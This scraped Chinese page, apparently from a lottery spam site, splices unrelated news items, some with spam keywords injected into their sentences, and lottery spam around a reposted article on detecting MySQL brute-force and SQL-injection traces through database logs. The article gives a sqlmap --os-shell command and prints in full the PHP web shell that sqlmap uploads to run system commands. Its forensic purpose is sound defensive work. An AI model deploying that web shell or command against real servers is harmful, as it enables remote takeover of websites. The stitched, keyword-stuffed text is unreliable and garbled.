• GreatNews The Intelligent RSS Reader 2019-08-17
  • 太原11家培训学校承诺规范办学 2019-08-12
  • 消防宣传“下乡赶集” 群众喜获安全礼包 2019-08-07
  • 纹身师晒出新作:用了21小时完成了詹韦连线 2019-08-06
  • 藏医保健常识:保肝护肝有讲究 2019-08-04
  • 习近平:以永远在路上的执着把从严治党引向深入 2019-08-01
  • 武汉市71个中考考点公布 考生下周二下午看考场 2019-08-01
  • 证监会查获一起跨境操纵股市案 涉案金额近33亿元 2019-07-28
  • 中超垫底队不要的外援或赴英超 贵州美女老板很尴尬 2019-07-28
  • 这群艺术家很有爱 3年时间筑起留守儿童音乐“梦想课堂” 2019-07-18
  • 六一记忆:不同的年代 同样的快乐 2019-07-18
  • “李鬼”大学“复刻”正规大学官网 外观一致连校徽都相同 2019-07-14
  • 南方都市报手机客户端·奥一网 2019-07-06
  • 【着力整治群众身边腐败问题】明确任务 强化措施 吕梁全力整治群众身边腐败 2019-07-06
  • 海峡两岸青年交流:一灯引千灯 灯灯相辉映 2019-06-30
  • 中国彩吧:喜子哥

    格力地产(600185.SH)7月回购7186.84万元的股份

    河北福利彩票排列七 www.kqtcc.com

        

    格隆汇8月2日丨格力地产(600185)(600185.SH)公布,2019年7月,公司通过集中竞价交易方式已累计回购股份1420.2005万股,占公司总股本的比例为0.69%,购买的最高价为5.22元/股、最低价为4.93元/股,支付的金额为7186.84万元(不含交易费用)。

    截至2019年7月底,公司第四次回购股份已累计回购1450.2005万股,占公司总股本的比例为0.70%,购买的最高价为5.22元/股、最低价为4.86元/股,已支付的总金额为7333.00万元(不含交易费用)。上述回购符合既定的回购股份方案。

        

        

        

        

    (责任编辑: HN666)

        

        

        

        

        

    当前文章://www.kqtcc.com/y0w148/34866032.html

    发布时间:06:01:24


    {相关文章}

    全国ETC用户累计突破1亿 日均发行量突破58万

        记者6日从交通运输部获悉,截至8月2日,全国ETC用户累计突破1亿。

          交通运输部有关负责人肇庆波海公园_环亚资讯网表示,自国务院办公厅印发《深化收费公路制度纳罕的近义词是什么_环亚资讯网改革取消高速公路省界收费站实施方案》以来,交通女人 图片_环亚资讯网运输行业ETC发行各单位,不断拓宽ETC发行服务渠道、推动ETC便捷免费安装、落实ETC车辆不少于5%的搞笑电影全集_环亚资讯网高速公路通行费优惠,当前ETC日均发行量已突破58万。

     望子成龙中文字幕_环亚资讯网;     这位负责人表示,ETC的快速推广为今年底全国高速公路实现一网通行、一路畅通一年级王梓璇_环亚资讯网、一脚油门踩到底创造了条件,也为如期优质完成取消高速公路省界收费站任务奠定了坚实基础。

         原标题:全国ETC用户累计突破1亿 日均发行量突破58万

         值班主任:颜甲

    2019-06-20 3,995

    常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。

    0x01 Mysql日志分析

    general query log能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。

    1、查看log配置信息

    show variables like '%general%';

    2、开启日志

    SET GLOBAL general_log = 'On';

    3、指定日志文件路径

    SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';

    比如,当我访问 /test.php?id=1,此时我们得到这样的日志:

    190604 14:46:14       14 Connect    [email protected] on
                          14 Init DB    test   
                          14 Query    SELECT * FROM admin WHERE id = 1     
                          14 Quit

    我们按列来解析一下:

    第一列:Time,时间列,前面一个是日期,后面一个是小时和分钟,有一些不显示的原因是因为这些sql语句几乎是同时执行的,所以就不另外记录时间了。
    第二列:Id,就是show processlist出来的第一列的线程ID,对于长连接和一些比较耗时的sql语句,你可以精确找出究竟是那一条那一个线程在运行。
    第三列:Command,操作类型,比如Connect就是连接数据库,Query就是查询数据库(增删查改都显示为查询),可以特定过虑一些操作。
    第四列:Argument,详细信息,例如 Connect    [email protected] on 意思就是连接数据库,如此类推,接下面的连上数据库之后,做了什么查询的操作。

    0x02 登录成功/失败

    我们来做个简单的测试吧,使用我以前自己开发的弱口令工具来扫一下,字典设置比较小,2个用户,4个密码,共8组。

    MySQL中的log记录是这样子:

    Time                 Id        Command         Argument
    190601 22:03:20     98 Connect  [email protected] on
            98 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
            103 Connect  [email protected] on       
            103 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
            104 Connect  [email protected] on       
            104 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
            100 Connect  [email protected] on       
            101 Connect  [email protected] on       
            101 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)       
            99 Connect  [email protected] on        
            99 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
            105 Connect  [email protected] on       
            105 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
            100 Query  set autocommit=0      
            102 Connect  [email protected] on       
            102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
            100 Quit


    你知道在这个口令猜解过程中,哪个是成功的吗?

    利用爆破工具,一个口令猜解成功的记录是这样子的:

    190601 22:03:20     100 [email protected] on
       100 Queryset autocommit=0   
       100 Quit


    但是,如果你是用其他方式,可能会有一点点不一样的哦。

    Navicat for MySQL登录:

    190601 22:14:07  106 [email protected] on         
             106 QuerySET NAMES utf8
             106 QuerySHOW VARIABLES LIKE 'lower_case_%'         
             106 QuerySHOW VARIABLES LIKE 'profiling'         
             106 QuerySHOW DATABASES

    命令行登录:

    190601 22:17:25  111 [email protected] on
             111 Queryselect @@version_comment limit 1
             190601 22:17:56  111 Quit

    这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。

    另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录。

    登录失败的记录:

    102 Connect  [email protected] on 
    102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)

    利用shell命令进行简单的分析:

    有哪些IP在爆破?

    grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
         27 192.168.204.1

    爆破用户名字典都有哪些?

    grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr     13 mysql     12 root      1 root      1 mysql


    在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。

    关键词:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。
    敏感数据库表:SELECT * from mysql.user、SELECT * from mysql.func


    0x03 SQL注入入侵痕迹

    在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的--os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:

    1、构造一个SQL注入点,开启Burp监听8080端口

    sqlmap.py  -u //192.168.204.164/sql.php?id=1 --os-shell --proxy=//127.0.0.1:8080

    HTTP通讯过程如下:

    创建了一个临时文件tmpbwyov.php,通过访问这个木马执行系统命令,并返回到页面展示。

    tmpbwyov.php:

    <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);[email protected]_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre>".$w."</pre>";?>`

    创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。

    通过查看网站目录中最近新建的可疑文件,可以判断是否发生过sql注入漏洞攻击事件。


    检查方法:

    1、检查网站目录下,是否存在一些木马文件:

    2、检查是否有UDF提权、MOF提权痕迹

    检查目录是否有异常文件

    mysqllibpluginc:/windows/system32/wbem/mof/

    检查函数是否删除

    select * from mysql.func

    3、结合web日志分析。


    本文转自公众号:Bypass

    Tags: 、、、、、、、、、、、、、、
    评论  (0)
    快来写下你的想法吧!

    Bypass007

    文章数:22 积分: 78

    一个网络安全爱好者,对技术有着偏执狂一样的追求。

    安全问答社区

    脉搏官方公众号

    活动日程

  • GreatNews The Intelligent RSS Reader 2019-08-17
  • 太原11家培训学校承诺规范办学 2019-08-12
  • 消防宣传“下乡赶集” 群众喜获安全礼包 2019-08-07
  • 纹身师晒出新作:用了21小时完成了詹韦连线 2019-08-06
  • 藏医保健常识:保肝护肝有讲究 2019-08-04
  • 习近平:以永远在路上的执着把从严治党引向深入 2019-08-01
  • 武汉市71个中考考点公布 考生下周二下午看考场 2019-08-01
  • 证监会查获一起跨境操纵股市案 涉案金额近33亿元 2019-07-28
  • 中超垫底队不要的外援或赴英超 贵州美女老板很尴尬 2019-07-28
  • 这群艺术家很有爱 3年时间筑起留守儿童音乐“梦想课堂” 2019-07-18
  • 六一记忆:不同的年代 同样的快乐 2019-07-18
  • “李鬼”大学“复刻”正规大学官网 外观一致连校徽都相同 2019-07-14
  • 南方都市报手机客户端·奥一网 2019-07-06
  • 【着力整治群众身边腐败问题】明确任务 强化措施 吕梁全力整治群众身边腐败 2019-07-06
  • 海峡两岸青年交流:一灯引千灯 灯灯相辉映 2019-06-30
  • 青海11选5全天开奖号码 平码三中三论坛高手 l辽宁 26选5中奖规则及奖金 福彩3d跨度走势图500 31选7什么时候开 老11选5开奖结果走势图 67期六肖中特 百乐盈里5分彩能做兼职吗 福彩3d开奖结果 2码中特期准 15选5连带坐标走 3d试机号开机号 泳坛夺金481软件过滤 广西快乐双彩297期开奖